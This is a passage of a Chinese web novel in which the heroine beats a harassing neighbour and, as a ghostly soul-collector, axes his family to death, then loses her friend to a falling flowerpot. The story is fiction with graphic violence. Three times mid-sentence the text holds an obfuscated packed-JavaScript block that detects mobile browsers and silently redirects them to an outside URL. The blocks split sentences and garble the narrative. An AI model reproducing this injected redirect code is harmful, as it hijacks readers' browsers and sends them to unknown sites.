庄辰岚不禁赞叹:“画的真好,林听,你太有天赋了。” 林听骄傲道:“我老师也是这么说的。” “老师?你报班了?” “嗯,而且是中央艺术大学的美院老师开的培训班,”林听道:“我终于说服我爸妈了,这是他们给我报的,我准备研究生就考中央艺术大学。” “真的吗,恭喜,你终于能一直做自己喜欢的事了。” 然而,一丝无法压制的落寞袭上心头:“有家人的支持真好。” “这可不是支持,而是投资。”林听苦笑道,“我爸妈让我在大学毕业后必须靠画画吃上饭,研究生阶段也不会给我一分钱,仅仅因为报班我们还吵了好几次——算了不说这个了。” 林听把双手搭上庄辰岚的肩膀:“而且我们不是说好了吗?我就是你的家人啊,你有想做的事,我一定会支持而不是投资的。” “谢谢,”庄辰岚道,“不过我现在想做的只是好好毕业,然后找一个合适的工作,就这样平平淡淡的生活。” “可是你明明不喜欢这个专业——你不觉得这样的生活不对劲吗?” 这样千篇一律的、麻木的、忍耐的,没有任何思考存在的生活。 庄辰岚道:“大家不都是这样过的吗?” “那就是大家都错了。” “......先别说这个了,”庄辰岚道,“我帮你收拾东西吧。” “我这边差不多了,你去帮小云收拾吧,她的东西才是超——级多啊。”林听调皮地眨眨眼,“就在对面,你去看看,估计能发现什么好玩的东西。” “能有什么好玩的东西?”庄辰岚边走边道,话还没说完,就被满屋子周以的海报闪瞎了眼,除此之外,还有满桌的徽章,卡片以及棉花娃娃。 林听在对面笑得不行:“好玩吗?” 她是唯一一个知道周以是庄辰岚青梅竹马的人。 庄辰岚道:“你少见多怪,我早就习惯了。” 小云正在仔细卷起那些海报:“林听在那儿笑什么?” 看见庄辰岚,她道:“哦,庄辰岚,林听经常跟我们提起你,百闻不如一见啊,你不知道,她可喜欢你了。” “小云——” 林听的声音从对面传来。 小云却突然凑到庄辰岚面前,盯着她的脸:“我觉得你长得——怎么有点像周以啊!?” 林听道:“是吧,我也觉得很像。” “不过只是一丢丢一丢丢啦,周以的颜值在我心里可没有平替。”她对庄辰岚比了个大拇指,“像他一分,已是绝色!” 庄辰岚道:“林听让我帮你收拾东西。” “真的吗?太感谢了!”小云惊喜道,“这些周边我自己收拾,你帮我把衣服塞到箱子里吧,不用叠,直接扔里面就行。” 话虽如此,庄辰岚还是帮她把衣服一件件叠好后放进行李箱。 小云道:“庄辰岚,你最喜欢周以哪部电影啊?” “我都还没看过。” “不可能吧,《生楼》总看过吧?” “这个我想看来着,但是有空的那天它正好下映了。” “太可惜了!就算在平台上看也没荧幕上的效果,周以在里面简直美极了!这电影的打光简直就是艺术品!” “如果有重映我会去看。” 小云突然激动道:“还真有!小道消息说生楼正在计划重映,如果是真的,你一定要去看啊!而且你跟林听这群画家不都会看电影找灵感吗?入股不亏!” “好。”庄辰岚道,“不过你们怎么在没找好下家的情况下就突然全体搬家了?” 小云惊讶道:“林听没跟你说吗?” 话音刚落,门外客厅突然传来一声短促的尖叫,紧接着便是玻璃碎裂的声音。 庄辰岚扔下衣服,赶紧出去查看,只见第三个室友陈陈正站在大门前,似乎是杯子没拿稳,玻璃碎了一地,她的脚面都被划伤了。 林听也从屋里出来:“你先别动,我把玻璃清理了。” 小云道:“一个玻璃杯碎了把你吓成这样。” “不是玻璃杯,”陈陈道:“那小孩儿又来了。” 庄辰岚道:“小孩儿?” “真是够恶心的,”小云道:“就是楼下的一个初中生,他骚扰我们很久了。” 林听道:“我怕你担心,所以一直没告诉你。” 庄辰岚道:“你们因为一个小孩儿风尘仆仆的搬家?” 陈陈道:“什么小孩儿啊,根本是块狗皮膏药。” 据三人所说,自从她们三个搬进来,便一直被楼下的熊孩子骚扰,三人最初找房东来协商解决,可小孩儿的爸妈不仅不管,反而还赞许似的表示自家小孩活泼又可爱,暗讽林听她们自作多情,心胸狭窄,这么大人了还和小孩计较。 可这小孩儿初中一年级的身体里仿佛住着一个猥琐的中年男人,恶心又下流的词汇从不离嘴,掀裙子摸胸后转身就跑,而且心知肚明有父母和社会等为他撑腰,于是更加肆无忌惮,变本加厉,甚至在三人去上课时撬锁进门偷东西,被抓到地毯上有脚印也死不承认。 偏偏倒霉的是,这个老旧的单元楼内根本没有监控,即使报警最终也会因未成年人保护法被警察和稀泥。 陈陈道:“我刚才把杯子摔了就是因为看到他又撬锁进来了,吓了我一跳,我一叫他就跑了。” 小云道:“连我们在家时都敢进来?猖狂到这种地步?真是无法无天了!” 庄辰岚道:“听起来根本就是个罪犯预备役啊。” “谁说不是呢,”林听道,“他父母也很......总之我们惹不起就只能躲了。” “既然没监控,你们不如一起揍他一顿,见一次揍一次,打到他不敢再来。” 小云道:“你没见过他,虽说才初一,但他长的又高又胖,跟高中生似的,我们细胳膊细腿的,根本打不过他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157444|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陈陈被林听带去包扎了,她抽泣道:“脚背疼死了!为什么我会这么倒霉啊!” “哈哈哈哈哈,哭的好丑啊!丑女!” 一个陌生的声音突然从门缝传来,还没等众人反应过来,庄辰岚立刻走过去,嘭的一下推开门。 “操,你长没长眼啊!”门外站着一个膘肥体厚的男孩,他捂着脑袋,瞪着庄辰岚道,“眼睛没用就挖下来!” 跟小云说的没错,他长相甚为怪异——成年人的身体上插着一个小孩儿的脑袋。 他似是没想到庄辰岚有这么高,自己才到她下巴,不禁骂了一声:“卧槽,长这么高你找不到对象。” 庄辰岚俯视他道:“哪来的小屁孩儿。” 男孩又喊:“你长得又高胸又平,肯定找不到男朋友!” 庄辰岚面无表情地看着他。 小云在后面低声喊道:“喂,庄辰岚,你别理他了!” 庄辰岚道:“以后别来了,知道吗?” “我就不我就不,”男孩一边说,一边表情动作夸张的往庄辰岚那边移动,“你让我不来我就不来,那我岂不是很没面子?” 毫无营养的网络口水话。 庄辰岚抬脚把他踹得跌在地上。 男孩愣了一瞬,然后迅速爬起来,仿佛要找回丢失得面子,气势汹汹地冲过来:“臭表子,我草你妈的。” 可他的拳头还没挥出来,就被庄辰岚又踹了一脚。 这一脚不轻,男孩直接被踹下了楼,咕噜噜滚了好几个台阶,顿时嗷嗷大哭。 刚才的叫骂声没有把他的父母引出来,这一哭,他们就倾巢而动了。 男孩的父亲光着膀子,胳膊上还纹着刺青,刚迈出一只脚就指着楼上骂:“是不是你们这群表子把我儿子弄哭的!” 庄辰岚道:“关我什么事,你儿子智力障碍连楼梯都不会上。” “你他妈说什么呢!”烫着爆炸头的女人也指着楼上道:“你们要不要脸啊!一群大人欺负一个小孩子!” 庄辰岚指着那个男孩道:“你自己说,是我把你揍得屁滚尿流的吗?” 男孩似乎是不想承认自己被一个女人打成这样,只是坐在原地嗷嗷大哭。 爆炸头女人尖声道:“把你的指头给我收回去!男孩不能被指你知不知道啊!” 听闻,庄辰岚加上了左手的食指。 “你马勒戈壁的,活够了是吧!”男人碎了口吐沫,腾腾腾走上来,指着庄辰岚道:“草你妈的,敢欺负我儿子,今天我就教育教育你这个丫头表子。” 他身高接近一米九,膀大腰圆,浑身横肉,还纹着刺青,屋内几个女孩看到他这个样子,脑子里瞬间想起无数个社会新闻。 林听也害怕极了,但看到庄辰岚自己站在外面,她连忙跑了出去,挡在她身前,拿出手机录像:“你敢动手我们就报警了!” 庄辰岚把她推回门内:“你别出来。” 男人刚爬上来,就伸出手想推搡她,庄辰岚抓住他的手腕,使劲一折,“嘎巴”一声,腕骨直接脱臼,男人疼的大叫一声,庄辰岚趁机一个扫堂腿,男人感到自己的小腿好像被铁块撞击一般疼痛,他直接抱着小腿倒在地上哀嚎。 林听等人震惊地看着眼前的一幕。 庄辰岚道:“我是一个屠户,最擅长的事就是对付各种肥猪,听话的,就打晕再杀,不听话的,直接拿刀子捅进去。” 说到最后几个字,庄辰岚同时重重一脚踩在男人脸上,不停碾来碾去,直到她看到有血滴滴答答掉在地上,这才把脚放下,用石灰地摩擦去鞋底的血污。 男孩看到这副场景,吓得连哭都忘了,反倒爆炸头女人不知道哪根筋打错了,尖叫着朝庄辰岚扑过来,被她轻轻一推就倒下了。 闹出这么大声音,整层楼的住户纷纷从门口伸出脑袋看热闹。 有人打电话叫了警察,最后判定结果为互殴,庄辰岚连钱都没赔。 33.林听2 四人坐在客厅里,小云道:“你也太冲动了!” “别这么说,”林听道,“小岚也是为了我们。” “你就知道偏袒她,她今天拍拍屁股走人了,楼下那家奇葩报仇可是会找我们的!” “我不是为了你们,只是为了林听,”庄辰岚道,“如果她不住在这里,你们就算被楼下杀了我都不会管。” 小云怒道:“你他妈怎么说话的?!” “我算知道你为什么被欺负了,明明知道自己弱小的要命,还爱窝里横。” “别吵了,我们不能好好说话吗,”陈陈道,“要不然,小岚,你也住在这里得了,不用付房费的。” “雇我当保镖,你们那点儿房费可不够。” 小云道:“就算她住这里有什么用,只要楼下那群奇葩还在,我们就永远消停不了,不如干脆搬了干净。” 庄辰岚看向林听,“我只问你一件事,你想不想继续搬?” 林听道:“我当然不想啊,明明好不容易马上就能过上想要的生活了,而且我们连下个房子都没找到,只能暂时住在酒店里。” “好,我知道了。” —— 凌晨三点,庄辰岚穿着黑袍黑帽,她刚刚完成走阴任务,正从鬼门关出来。 本该魂归原位的她却在此时来到林听家楼下,那个男孩的家门口,然后穿门而进。 站在客厅里,庄辰岚听见了巨大的呼噜声。 真的像猪一样,庄辰岚心道。 她摇了摇手里的铃铛,片刻后,刺青男人,爆炸头女人以及早熟男孩便都从各自房间里走出来,他们连鞋都没穿,随着铃铛声,像狗一样,听话地跟在庄辰岚身后。 三人在庄辰岚身后排成一排,走到附近一个漆黑的胡同深处,庄辰岚停止了摇铃。 三人这才仿佛如梦初醒,他们瞪大眼睛,左右看了看现在所处的环境,庄辰岚的黑衣黑帽与黑暗融为一体,他们一时没有看见,待看到斧头的反光时,这才发现眼前站着一个人。 “你谁啊?我在哪?我不是睡觉呢吗?” 庄辰岚拿着斧头,一步步朝他们逼近,随后,鲜血溅在灰色的石板上。 “小岚?” 庄辰岚正在用斧头劈散魂魄,听到这个声音,整个人都顿住了。 林听怎么看见她的?! 背后的脚步声越来越近,庄辰岚抓着斧头的手都有些发抖了——怎么办?该怎么解释? 林听的脚步停在她身后两步左右,庄辰岚心脏怦怦直跳,她已经好久都没感受到如此紧张的情绪了。 林听看着胡同尽头四分五裂的尸体,不禁“啊”了一声。 庄辰岚的心沉了下去,这下完了,要被林听当变态杀人犯了。 “小岚,你没事吧?怎么不说话?” 庄辰岚一怔。 林听轻笑一声:“你怎么穿成这样,跟黑无常似的。” 这时,月光从云层中透出来,林听便看见了她黑衣上的血迹,她连忙跑到庄辰岚面前,拉起她的胳膊检查:“你怎么样?没受伤吧?” “没有,这是他们的血。” “那就好,”林听松了口气,从随身的挎包里拿出纸巾,擦掉庄辰岚脸上的血迹,“都溅到脸上了,怪脏的。” 庄辰岚乖乖站着,任由林听擦拭自己的脸:“你不害怕吗?” “我还想问你呢,你不害怕吗?其实你也不用害怕,警察来了,你就说咱们一起干的。” “……”庄辰岚道,“监控是拍不到我的,因为我现在只是一个魂魄。” 林听睁大眼睛:“魂魄?怎么做到的?” “我在给地府当阴差,晚上的时候魂魄离体,应该所有人都看不见我才对,为什么你能…而且现在是凌晨三点,你怎么在这个时候?” “原来如此,”林听笑道,“因为我从小就能看到一些灵体啊,至于为什么在这里,我在附近的便利店上夜班,刚刚换班。” 林听看了看背后的肉块:“那他们的魂魄怎么办?” “我打散了,多出来的魂魄不好交代。” 而且她早就想试验一下这把斧头对魂魄的伤害程度。 “可是他们,应该罪不至此吧…” 庄辰岚本来毫无愧疚之意,但被林听这么一说,她又开始紧张起来:“你觉得我是坏人了?” “你是坏人还是好人都没有关系,”林听擦掉她脸上最后一块血迹,“我只要你是你就好。” 她从手提包里抽出一把折叠小刀,突然插在地上的肉块里。 “喂,你!” 林听回头冲庄辰岚笑道:“现在我们是共犯了。” “你这样做可是会留下痕迹的,”庄辰岚道,“为什么要为我做到这种程度?” “才不是为你呢,”林听道,“我所有的行动,都是听从自己内心做出的选择,所以全都是为了自己。” 听闻,庄辰岚感觉内心深处有什么东西被深深触动了。 她笑道:“这样就好。” 她把林听从尸块旁拉开:“别弄了,刚才还说脏,现在自己又沾了一手。” 林听用纸巾擦干净自己的手,拉起庄辰岚道:“回家吧。” 第二天清晨,几个收垃圾的青年开车经过时,发现了胡同深处血肉模糊的三具尸体,随即报警。 胡同里没有监控,然而警方还是用天眼系统发现了三人的行踪。 凌晨三点左右,一家三口仿佛受到了什么感召,自己走出房门,径直进入胡同,从此就再也没有出来过。 监控同样拍到了林听的身影,然而那晚她在便利店上夜班,案发时还未下班,便利店的监控录像和同事给了她充分的不在场物证和人证。 警方发现,在监控视频中,这一家三口的表情与走路姿势都异常僵硬诡异,经过排查,他们发现这户人家的男主人曾因聚众械斗入狱,女主人曾是传销人员,在这个诡异的时间点出门,警方便怀疑他们死于某种邪教,于是顺藤摸瓜,还真抓获了一个邪教窝点,然而在邪教窝点调查后,里面的人却都说并不认识这一家人,这起案件也便成了一件悬案。 —— 小云重新把周以的海报贴回墙上:“虽然有点儿减功德,但我说他们死的还真是时候。” “有什么减功德的,那群人死了就死了,死不足惜,你没听警察说吗,那男的以前还捅过人!”想起昨天的一幕,陈陈不禁一阵后怕。 庄辰岚坐在飘窗上,在林听的画板上涂涂画画。 小云道:“唉,你们说,是不是又是那个黄衣三角干的?” “不是吧,那胡同离我们这么近,我可没听见电锯声,而且警察好像根本没往这方向调查。” 庄辰岚道:“这不是很像那个黄衣三角的作案手法吗?为什么警察没怀疑是他?” 几人口中的“黄衣三角”,其真实身份是一个连环杀人犯。 据说他只在雨夜出没,每次作案都会穿一件透明的黄色雨衣,拿一把红色的电锯,在小巷中寻觅目标,杀死后再把人一块一块的肢解,电锯声混着雨点声撕开寂静的夜幕,居民不敢出门,哆嗦着手报警后,警察却总是扑空。 有不少人曾亲眼目睹过灰色的雨夜中那抹黄色的身影,关于他的相貌,年龄甚至是性别众说纷纭,唯一一致的,是他们都看到了那黄色雨衣形似三角形的帽子,由于电锯的锯齿也为三角形,人们便称其为“黄衣三角”。 “如果你在雨夜看到穿黄色雨衣的三角人影,千万别靠近......” 黄衣三角成为一个活着的都市传说,他给人们造成的影响之深——人们甚至不敢靠近普通穿黄色衣服的人。 林听道:“没往这个方向调查是因为他早就已经被抓起来了。” 小云一拍脑袋:“哦我想起来了,他确实是被抓了!” 陈陈道:“真的吗?在哪抓到的?长什么样?” “好像是在悟城被抓到的,不知道什么原因,没有公布长相,连姓名都没有。” 林听走到庄辰岚身边,观察起她画的画来:“唉,好恐怖啊,不过很有你的风格呢。” “奈何桥。” “真的?” 庄辰岚点了点头。 林听坐在她旁边:“小岚,谢谢你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162741|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “……不用。” “你昨天的手法,是在效仿黄衣三角?” “嗯,就算不可能被抓到,能扰乱视线也挺好,可惜我不知道他已经被抓起来了。” 林听笑道:“你多久不上网啊。” 庄辰岚打开手机,本想查询一下黄衣三角的新闻,谁知突然看到今天补课的消息,赶紧从飘窗上跳下来:“突然有节课,估计会点名,我先走了。” “等下,还有件事,”林听道,“明天是我去美术培训班的第一天,我们一起去吧。” 庄辰岚点点头:“好。” 谁知第二天,整个东山市大雨滂沱。 庄辰岚撑着伞道:“看你们选的日子,太不巧了。” “有什么不巧,我觉得太巧了!”林听转着手中的伞,雨滴顺着伞檐像旋转木马一样飞出。 “我在做梦吗?我觉得现在的自己幸福的不得了!” 庄辰岚看着她灿烂的笑容,不由也心情大好:“只是去上课而已,有这么激动吗?你去机械课的时候可从没这样。” “对啊,都是上课,但心情却完全不一样。”林听道,“你知道为什么吗?” “为什么?” “因为去上机械课的时候,我是被迫的,但是上美术课的时候,我是主动的,这是做自己的感觉,即使还没到,即使还在路上,我依然在成为自己。” 庄辰岚道:“你怎么突然文邹邹的,听不懂。” “你肯定会懂的,”林听道,“小岚,我能看出来你不喜欢现在的生活,勇敢去做你喜欢的,不要压抑你内心的声音。” “你又在说空话了,”庄辰岚道,“我喜不喜欢很重要吗?像我这样没有家的人,没资格讨论喜不喜欢。” “正因为没有家人,所以你才是无与伦比的自由啊!” “!” “没有得到恩惠,就没有义务,没有亲情,就没有捆绑,既然独身一人,那就随心而活。”林听道,“因为我们终有一日会死的。” 雨点噼里啪啦打在两人的雨伞上,庄辰岚半张脸隐在雨伞之下,看不出什么表情。 林听继续道:“你知道吗,当我从既定的轨道中如梦初醒,俯视自己的日常生活时,我感到很荒谬,也有过很长时间的迷茫与痛苦,是再次睡过去,麻木的当做什么也没发生,还是就这么痛苦的醒着,逆着洪流去追寻丢失的自己?我选择了后者。这便意味着我脱离了安全的轨道,主动拐进了危机四伏的丛林。” “如果你在这片丛林中迷失了呢?会不会后悔自己当初多此一举?” “永远不会,”林听道,“因为这片危险的丛林,它同时又是那么的美丽与自由。” 林听五指张开,伸向天空,“在探索丛林的时候,我找到了自己想要为之奉献一生的事业,那就是画画,从此我就重新找回了与世界链接的感觉,真正活着的感觉。” “我这才发现其实这就是我童年时候对这个世界的感觉啊,我们每个人天生就有,可是却被我们自己丢掉了。” 庄辰岚道:“你说话好像传销啊,是要拉我入伙吗?” “你忘了吗?我们已经是同伙了,”林听暧昧地笑着,“不仅如此,还是共犯啊。” 庄辰岚起了一身鸡皮疙瘩:“什么啊,原来你是这么恶趣味的人来着吗,果然人不可貌相。” “什么啊,原来你是这么迟钝的人来着吗,果然人不可貌相啊。” 林听笑着往庄辰岚这边靠靠:“不管怎么说,那件事,我还是要多谢你。” 雨越来越小,可路上的风越来越大,二人的伞在风中被吹的左摇右摆,细小的雨丝飞到林听的脸上,她惬意道:“哇,好凉快啊!” 庄辰岚道:“别吹了,回去就感冒了。” 林听的兴致越来越高,她索性直接扔掉雨伞,对庄辰岚道:“我觉得直到今天,我才再一次活着——” “啪!” 巨大又清脆的声音突然响起,林听应声倒了下去。 庄辰岚站在原地愣住了。 怎么了? 发生了什么? 现在是什么情况? 34.林听3 庄辰岚周围,原本漫步在雨中的人群迅速尖叫着跑开了。 待发现之后什么都没发生后,他们又围了上来,前去查看躺在地上的那个女孩的情况。 庄辰岚举着伞,处于木僵的状态,她的大脑一片空白,眼前不断浮现她最后看到的一个物体砸中林听的场面。 她想去查看林听的情况,用尽力气,却只能向下移了移眼珠。 林听身下已经出现了一大滩血迹,鲜红色被地上的积水和天上的雨丝稀释,变得不再那么骇人,却流的更远了。 一团深棕色的泥土盖满她的脸,上面一个小小的向日葵,正开的旺盛,在风中前后摇摆。 就在这一刻,庄辰岚突然深刻的领悟到一个道理——人是会死的! —— 庄辰岚坐在医院不知哪里的凳子上,宛如行尸走肉一般,几个小时之前,她在警察局做完笔录,二十楼的花盆养在阳台上,正巧那天风很大,花盆便被吹了下来,正巧林听当时扔掉了雨伞,花盆便直接砸在她的头上,当场死亡。 那画面再一次在她眼前浮现,这次花盆仿佛砸在她的脑袋上,庄辰岚一个激灵,这才如梦初醒。 眼前,林听的父母哭的如泪人一般,一边哭一边埋怨林听非要去学什么美术,非要去追什么自我,如果老老实实的在学校上课,她就不会发生这种事了。 班主任和院长同样忙的焦头烂额,他们正联系学校的公关进行舆论处理。 庄辰岚愣愣的盯着医院雪白的地板,满脑子都是——人是会死的。 这件事情所有人都知道,但所有人好像又都不知道。 这一瞬仿佛仙人抚顶,庄辰岚突然如梦初醒,蒙在自己与世界之间的那层雾逐渐散去后,她看到了林听眼中的世界,这才恍然大悟自己活在他人目光与世俗轨道中的生活有多么荒谬! 在有限的、无常的生命中所要追求的,根本就不是那些东西啊! 在这瞬间,那些她为之烦恼、忧虑的琐事,那些桎梏她的社会认同和世俗观念,通通不再存在了。 只是这样一个简单的道理,为什么总要最爱的人付出生命的代价,自己才会明白呢? 庄辰岚觉得自己应该流泪的,可是她现在除了胸口闷闷的疼,愣是一点眼泪也留不出来。 跟林听说的一样,自己显然也丢掉了“与世界连接的,活着的感觉”。 遮住双眼的大雾散去,她看到了雨,看到了风,看到了云霞和阳光…… 只是看见,无法感受。 之前她对林听会因鲜花,甜品,雨丝,晚霞而激动嗤之以鼻,可如今她才明白,当这些东西已无法在她心中泛起一丝涟漪,那死亡与意外,便也同样触动不了那如岩石一般冷硬的心。 没有了感受,生与死好像便无甚不同,这时,存在好像便没有了必要。 庄辰岚站起来,穿过人群,推开白色的大门,进入了对面的诊室。 白大褂的医生正坐在红棕色的木桌后,他抬起头来,是庄辰星的样子: “岚,好巧啊,你怎么来医院了?” 庄辰岚恍惚了一瞬,然后道:“我朋友来看病,我在这里等她。” 庄辰星歪了歪身子:“是门外那个吗?” 庄辰岚转头一看,只见白色的大门口,站着一个异形脑袋的女孩。 虽然没有脸,但庄辰岚莫名知道,她就是林听,此时她脖子上原本应该是头的地方,变成了一个大大的向日葵花。 林听朝她挥挥手:“只是脑袋碎了而已,我又换了一个,虽然跟以前不一样,但凑活也能用。” 庄辰星笑道:“这个新脑袋很适合你呢,如果后续出问题,可以再来找我。” “好,谢谢医生。” 林听走到庄辰岚身边,她甚至能清晰地看到向日葵棕色花盘上的纹路。 “小岚,你在攒钱去京都美术学院吧。” “嗯,因为我想考中大。” “我有个问题想问你,小岚,你想去中大,是因为我,还是为你自己?” “当然是——” 她本来想说“当然是为我自己。” 但脱口而出的瞬间,她又止住了声音。 她确实没有林听那样的天赋和热爱,想象一下自己进入中大的场面,她也没感觉有多么激动和期待,更多的,反而是一种如释重负。 果然,林听一语中的道:“你只是想为我完成遗愿而已。” 所以她告诉自己绝对不能死在狭间,因为在她潜意识里,这不仅仅是自己的命,也是林听的。 “岚,看来你也有很大的问题需要看医生呢,”庄辰星笑道,“那我就允许你插队问诊吧。” “闭嘴吧,你这个外科医生。” 庄辰岚道:“为你实现愿望就是我的目标,这样不可以吗?” “小岚,这只是你的思维惰性吧,”林听道,“你之前说过,''大家害怕脱离轨道,是因为害怕无法承担的后果。’你也是这样,逃避去思考自己的道路,索性拿别人当借口,你同样也是害怕自己去承担后果。” “不是,我跟他们不一样,”庄辰岚道,“难道为了别人奉献自己反倒是一种不对吗?” “永远不要为别人而活,所有人能相信的只有自己,”林听道,“不然你会后悔的。” 林听猛地抓住她的肩膀,向日葵花瓣扑簌簌的抖动,“你听见了吗?我只要你为自己而活。” 这声音震耳发聩,庄辰岚睁大眼睛,看着眼前二人,两个都是突然死掉的人,这才意识到——自己在做梦。 意识到这点的瞬间,她猛地睁开眼睛。 眼前是陌生的天花板,说是陌生,其实看这雕龙画凤,金碧辉煌的藻井就知道——这里是天问。 姚枝正坐在她的病床边打瞌睡,被庄辰岚醒来时的动静惊醒,赶紧问道:“你醒了?感觉怎么样?” 庄辰岚道:“我背受伤了,不应该趴着吗,怎么是躺着?” “还有空纠结这个就是没啥事儿了。”迟予知抱着胳膊走进来。 如他所说,庄辰岚确实没什么事了,她甚至感觉现在的身体都比之前轻盈了许多。 但她的脑子就没这么好运了,同时梦到林听和庄辰星,她现在昏沉沉的,思维乱成一团。 “喂,”迟予知道,“你说的辞职是什么意思?” “就是不干了。” “我当然知道是不干了,我是问你为什么?” 庄辰岚把胳膊搭在眼睛上:“别说话,让我缓一缓。” “你又命令我?!” “辰岚醒了?身体怎么样了?” 刚清净一秒,荒村梨花又进来了。 庄辰岚索性直接从床上坐起来:“已经没事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168987|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 荒村梨花惊讶道:“作为人类你恢复也太快了,身体素质真好——那关于辞职的事,来我办公室谈谈吧。” 荒村梨花倒了一杯茶,推到庄辰岚面前:“你这才刚来还没一周,难不成是予知欺负你了?别放心上,他这人其实很好相处的。” “跟他没关系。”庄辰岚扶额,“其实我现在也不知道该怎么办了。” 荒村呡了一口茶:“你想去中央艺术大学,对吧?” 庄辰岚从来没跟任何人提过这些事,她的表情冷峻起来:“你从哪知道的?” “不要这么生气,我们是同伴啊,知道这些对你来说没坏处的。” 她把一个信封推到庄辰岚面前:“看看这个。” 庄辰岚打开一看,顿时呼吸一滞——是中央艺术大学的录取通知书,上面确确实实写着庄辰岚的名字,并且欢迎她随时入学。 “怎么做到的?” 荒村梨花笑道:“一句话的事儿,没什么难的,跟天问其他人的要求比起来,一个小学校的录取通知书简直易如反掌。” 庄辰岚翻看着这张录取卡片,自己省吃俭用,到处打工攒钱想要去的地方,那个想象中去了就可以获得救赎的地方,居然就经由荒村梨花一句话,就这么毫无征兆的实现了?——她甚至都不用去京都美院曲线救国。 她无数次想象自己拿到这个录取通知书的场面,但当它真的降临时,自己心里居然无甚波澜,甚至,庄辰岚想,她有点想放弃了。 荒村梨花道:“怎么了?一点表情都没有?这可不是实现梦想,找到自我的反应啊。” “我喜怒不形于色,不行吗?而且天上不会掉馅饼,迟予知肯定告诉了你我能让狭间随时出现吧,你肯放我走?还是说,你要我把裂骨给你们作交换。” 荒村梨花向后倒进黑皮软椅里:“你呀,小小年纪,怎么对人与人之间的关系这么悲观呢,我都说了,这种小事简单的很,不足挂齿,我们相识一场,就当好聚好散了——你现在就可以走了,我不拦你。” 庄辰岚扣着茶杯,一时不知道该怎么办,虽然自己现在看似是主动的一方,但她总觉得,自己被荒村梨花看穿拿捏了。 一时间,自厌感油然而生。 但想起梦中林听说过的话,庄辰岚道:“我再考虑下,其实,我还是挺喜欢天问的工作的。” “唉,你可算袒露一句心里话了,”荒村梨花道,“有戒备心是好事,但我们不是同伴吗?我说了,我可是把你们当自己的孩子来看待的。” 居然是真的而不是什么奇怪的xp吗,庄辰岚心道。 荒村梨花笑道:“你很犹豫,举棋不定,瞻前顾后,这很正常,不用觉得自己很没用。” 她从办公桌后面踱步出来:“究竟该以什么样的方式度过一生,即使是天问那些活了百岁的员工,也还是看不清,他们也跟你一样,在此寻找心之所归,天问也并不是你所想的那样,是修行圆满者的地界,每个人都有每个人的路要走,每个人都有每个人的道要寻,大家聚在一起或许能汲取些许力量,但最终上路的,也只有自己孤身一人。” 庄辰岚想起林听说的,不要为了别人而活,会后悔。 黑色的手套从后面搭在庄辰岚的肩膀上:“你不用想的太复杂,真经无字,我只说一句,那就是聆听你当下的心声,从心而动。” 35.黄衣三角 庄辰岚从荒村梨花的办公室出来,手上还捏着那张录取通知书,对迟予知道:“你之前说还有后续工作吧,我们现在就去。” 迟予知正叼着吸管喝果汁,闻言挑了挑眉:“你不辞职了?” “暂时也没有其他合适的工作。” “那这次换你联系他们。” 庄辰岚拿出灵端:“怎么联系?” 迟予知走过来,点着她的屏幕道:“就先点进这个帖子,然后点他私聊——你怎么连账号都没有?” “想起来了,我还没注册。” “你还说这么理直气壮?” 庄辰岚点击注册:“我现在就申一个。” 迟予知道:“然后你就去找那个闫儿约个时间,我们随时都能过去。” —— 悟城二中校门口的冷饮店内,闫儿和冯小宇都来了。 迟予知道:“这个学堂会出现异世界的传闻,你们是从哪儿听说的?” “学堂”和“异世界”两个年代感差别极大的词语同时出现在一句话里,三人都有点想吐槽。 迟予知说话经常这样,庄辰岚每次都不禁腹诽他为什么还没适应说现代词汇。 冯小宇道:“我是听一个同校同学说的,他叔叔是悟城公安局的刑警,黄衣三角半年前不是被悟城警察逮住了吗,他说这是黄衣三角在审讯的时候说的。” 迟予知道:“啥是黄衣三角?” 庄辰岚道:“就是一个在雨夜出没,穿着黄色雨衣拿电锯杀人的连环杀人犯。” 冯小宇道:“不过你们真是天问的人啊?那个,能不能让我也加入?我们也算是过命的交情了吧!” 闫儿道:“冯小宇,你还在异想天开,好不容易捡回一条小命,你还不老老实实的。” 迟予知也毫不留情的拒绝他:“别做梦了。” 冯小宇肉眼可见的蔫了。 “并非异想天开,你也不用老老实实的。” 闻言,冯小宇猛地抬起头,睁大眼睛看着庄辰岚。 “你喜欢这些,那就听从自己的内心,继续走下去吧。”庄辰岚道,“而且知道自己究竟想要做什么,你已经比天问的人厉害很多了。” 冯小宇红着脸:“谢谢。” 顿了顿,他又道:“在狭间里,你因为救我受了伤,我还那样说你,真的对不起。” “......没事。” 迟予知站起身:“那就这样。” 他对桌子对面的冯小宇和闫儿道:“什么事儿能说,什么事儿不能说,你们都知道,不用我多说吧?” 